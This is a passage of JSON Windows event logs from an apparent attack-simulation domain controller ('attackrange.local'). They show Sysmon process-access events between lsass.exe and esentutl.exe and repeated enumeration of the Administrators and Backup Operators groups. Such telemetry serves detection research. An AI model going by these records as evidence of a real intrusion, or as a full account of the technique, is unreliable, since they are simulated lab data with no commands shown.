11:56:33.088","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222154,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-551\r\n\tGroup Name:\t\tBackup Operators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5580,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.088\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.088","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222155,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-544\r\n\tGroup Name:\t\tAdministrators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5581,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.088\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.088","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222156,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-551\r\n\tGroup Name:\t\tBackup Operators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5582,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.088\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.088","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222157,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-544\r\n\tGroup Name:\t\tAdministrators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5583,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.103\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.103","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222158,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-551\r\n\tGroup Name:\t\tBackup Operators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5584,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.103\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-00105A4F0800}\r\nTargetProcessId: 4852\r\nTargetImage: C:\\Windows\\system32\\esentutl.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.103","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-00105A4F0800}","TargetProcessId":"4852","TargetImage":"C:\\Windows\\system32\\esentutl.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222159,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A security-enabled local group membership was 